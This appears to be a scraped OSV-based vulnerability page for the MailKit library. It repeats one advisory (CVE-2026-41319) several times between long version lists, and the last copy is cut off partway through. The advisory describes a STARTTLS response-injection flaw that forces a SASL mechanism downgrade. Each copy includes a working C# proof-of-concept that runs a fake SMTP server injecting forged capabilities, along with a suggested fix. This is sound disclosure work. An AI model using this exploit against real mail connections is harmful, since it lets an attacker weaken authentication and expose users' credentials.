            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Apr 29, 2025

4.11.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Mar 09, 2025

4.10.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Jan 26, 2025

4.9.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Dec 10, 2024

4.8.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

